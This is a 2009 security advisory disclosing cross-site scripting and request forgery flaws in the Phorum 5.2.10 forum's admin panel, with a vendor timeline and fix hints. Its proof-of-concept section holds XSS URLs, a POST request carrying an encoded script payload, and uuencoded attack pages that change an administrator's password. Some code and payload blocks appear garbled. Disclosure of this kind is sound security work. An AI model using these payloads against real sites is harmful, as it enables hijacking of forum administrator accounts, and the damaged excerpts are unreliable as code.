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                                     /)           /)     /)
                        _ _  _______(/ ________  // _   (/_ _       _____  _
                        (/__(_)(_)(_(_(_)(_)    (/_(_(_/_) /_)_ o  (_)/ (_(_/_
                                                                         .-/
#=Phorum < 5.2.10 Cross-Site Scripting/Request Forgery=#=~~~~~~~~~~~~~~~(_/~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#
#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#
#=Advisory & Vulnerability Information=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#

        Title: Phorum < 5.2.10 Cross-Site Scripting/Request Forgery
        Advisory ID: VUDO-2009-1504
Advisory URL: http://research.voodoo-labs.org/advisories/4
        Date founded: 10-4-2009
        Vendors contacted: Phorum
        Class: Multiple Vulnerabilities
        Remotely Exploitable: Yes
        Localy Exploitable: No
        Exploit/PoC Available: Yes
        Policy: Full Disclosure Policy (RFPolicy) v2.0

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#=Tested & Vulnerable packages=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#

        [+] Phorum 5.2.10
        [+] Phorum 5.2-dev

#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#
#=Solutions and Workarounds=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#

Phorum released some important fixes for the Cross-Site Scripting vulnerabilities [1]

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#=Technical Information=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#

Phorum [2] suffers from a series of Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF)
vulnerabilities, trough the admin panel and the "file uploading" section (with an XML file but it only works
if you are using Mozilla Firefox as browser and a crafted XUL file). Some other vulnerabilities:

[*] Cross-Site Scripting (XSS):

        The most simple XSS can be executed easily and the error can be found on the file
        "include/admin/banlist.php":

        +++include/admin/banlist.php @@ 88:104
            88      if($_GET["curr"] && $_GET["delete"]){
            89
            90          ?>
            91
            92          

            93              Are you sure you want to delete this entry?
            94              
" method="post">
            95                  
XXX         96                  
            97                  
            98                   
            99              
           100          
           101
           102          
            80      

XXX         81        New Phorum version  available!
            82      
            83    
        ---versioncheck.php

        There's another XSS on the file "include/admin/users.php" but it can only be exploited from a POST
        request on this lines:

        +++include/admin/users.php @@ 87:93
            87          //check for a valid email
            88          if (!empty($_POST["email"])) {
            89              include('./include/email_functions.php');
            90              $valid_email = phorum_valid_email($_POST["email"]);
            91              if ($valid_email !== true)
XXX         92                  $error = "The email \"$_POST[email]\" is not valid!";
            93          }
        ---include/admin/users.php

        Also the line 82, on the same file, its vulnerable to the same attack.
        In the users.php file there's another vulnerable line, trough the request Referer parameter or
        $_POST['referrer'].

        +++include/admin/users.php @@ 52:59
            52  if (isset($_POST['referrer'])) {
XXX         53      $referrer = $_POST['referrer'];
            54      unset($_POST['referrer']);
            55  } elseif (isset($_SERVER['HTTP_REFERER'])) {
XXX         56      $referrer = $_SERVER['HTTP_REFERER'];
            57  } else {
            58      $rererrer = "{$PHORUM["admin_http_path"]}?module=users";
            59  }
        ---include/admin/users.php
        +++include/admin/users.php @@ 659:661
           659
XXX        660      $frm->hidden("referrer", $referrer);
           661
        ---include/admin/users.php

        A way to fix this can be done using htmlspecialchars() or htmlentities() and any other function that
        does a sanity check, i.e:

        +++
        
        ---


[*] Cross-Site Request Forgery (CSRF):

        All the forms on the admin panel it's vulnerable to CSRF because of the lack of security tokens to
        check if the administrator really wants to do those actions. Without a token an attacker can create
        a new user as admin or change the administrator passwords and other personal data. Another type of
        action can be done with a simple bbcode [img] tag. When the administrator see the [img] tag with a
        special crafted URL, an action, such as delete a topic, could be executed.
        A more dangerous attack can lead to JavaScript execution.


[3] Other vulnerabilities were founded on this application. (WHK)

#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#
#=Proof of Concept=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#

[*] Cross-Site Scripting (XSS):

        +++
http://localhost/phorum-5.2.10/admin.php?module=banlist&curr=1">http://www.victim.com/phorum-5.2.10/admin.php?module=badwords&curr=1">",
location="http://www.victim.com/phorum-5.2.10/versioncheck.php";
        ---

        +++
        POST /phorum-5.2.10/admin.php HTTP/1.1

module=users&referrer=http%3A%2F%2Fwww.victim.com%2Fphorum-5.2.10%2Fadmin.php%3Fmodule%3Dusers
        &addUser=1&username=xss&real_name=xss&
        email=%3Ciframe%2Fsrc%3D%22javascript%3Aalert%28%27voodoo%27%29%3B%22%3E&password1=xss&password2=xss
        &admin=0
        ---

[*] Cross-Site Request Forgery (CSRF):

        Other CSRF proof-of-concept exploits can be found on:
[*] http://research.voodoo-labs.org/code/exploits/phorum/5.2.10/

        If the administrator see this special crafted HTML page, his password will be changed to a string
        specified by the attacker. (uuencoded)

        +++
        begin 644 attack.html
        M/&AT;6P^"CQB;V1Y/@H)/&@Q/E!H;W)U;2`U+C(N,3`@(F5D:71U7!E/2)H:61D96XB/@H)"3QI;G!U="!N86UE/2)R969E7!E/2)H:61D96XB/@H)"3QI;G!U="!N
        M86UE/2)P87-S=V]R9#(B('9A;'5E/2)P=VYE9"(@='EP93TB:&ED9&5N(CX*
#MH96EG:'0Z,'!X.V)OM"0D\=&5X=&%R96$@#MH96EG:'0Z,'!X.V)O
        M#MH">M;V]D;V\\+W1E>'1A#MH
M96EG:'0Z,'!X.V)O
M:6]N('9A;'5E/2(P(CY.;SPO;W!T:6]N/@H)"0D\;W!T:6]N('9A;'5E/2(Q
        M(B!S96QE8W1E9#TB#MH96EG:'0Z,'!X.V)OM/@H)"3QS96QE8W0@#MH96EG:'0Z,'!X.V)O
        MV1O8W5M96YT+F9OM>V1O8W5M96YT+F9O
        3/@H\+V)O9'D^"CPO:'1M;#X*"@``
        `
        end
        ---

[*] CSRF + XSS:

        This is another way to exploit those two types of attacks (XSS and CSRF). If the administrator see
        this page a new folder will be created and the name is going to be a special HTML tag with a
        JavaScript script. (uuencoded)

        +++
        begin 644 attack.html
        M/&AT;6P^"CQB;V1Y/@H)/&@Q/E!H;W)U;2`U+C(N,3`@(FYE=V9O;&1EM-C`B(')O=W,](C$P(B!S='EL93TB=VED=&@Z,'!X.VAE:6=H=#HP<'@[8F]R
        M9&5R.C!P>#LB/CPO=&5X=&%R96$^/"]T9#X*"0D\6QE/2)W
M:61T:#HP<'@[:&5I9VAT.C!P>#MB;W)D97(Z,'!X.R(@;F%M93TB<&%R96YT
        M7VED(B`^"@D)"3QO<'1I;VX@=F%L=64](C$B('-E;&5C=&5D/2)S96QE8W1E
        M9"(^+2U.;VYE+2T\+V]P=&EO;CX*"0D\+W-E;&5C=#X*"0D\M>6QE/2)W:61T:#HP<'@[:&5I9VAT.C!P>#MB;W)D97(Z,'!X.R(@;F%M93TB
        M86-T:79E(B`^"@D)"3QO<'1I;VX@=F%L=64](C`B/DYO/"]O<'1I;VX^"@D)
        M"3QO<'1I;VX@=F%L=64](C$B('-E;&5C=&5D/2)S96QE8W1E9"(^665S/"]O
        M<'1I;VX^"@D)/"]S96QE8W0^"@D)/'-E;&5C="!S='EL93TB=VED=&@Z,'!X
M.VAE:6=H=#HP<'@[8F]R9&5R.C!P>#LB(&YA;64](G1E;7!L871E(B`^"@D)
        M"3QO<'1I;VX@=F%L=64](F5M97)A;&0B('-E;&5C=&5D/2)S96QE8W1E9"(^
        M4&AO#MH96EG:'0Z,'!X.V)O">M96-T/@H)"3QS96QE8W0@#MH96EG:'0Z,'!X.V)O
        M#4P,"D[/"]S8W)I<'0^
        2"CPO8F]D>3X*/"]H=&UL/@H*
        `
        end
        ---

#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#
#=Reporting Timeline=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#

        [*] 10-04-2009: Bugs discovered.
        [*] 10-04-2009: Voodoo contacted the vendor (advisory draft included).
        [*] 13-04-2009: The vendor released fixes for Cross-Site Scripting vulnerabilities.
        [*] 15-04-2009: Advisory VUDO-2009-1504 published.

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#=References=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#

[1] http://trac.phorum.org/changeset/4009
[2] http://www.phorum.org/
[3] http://foro.elhacker.net/nivel_web/multiples_fallas_en_phorum_5210-t248300.0.html

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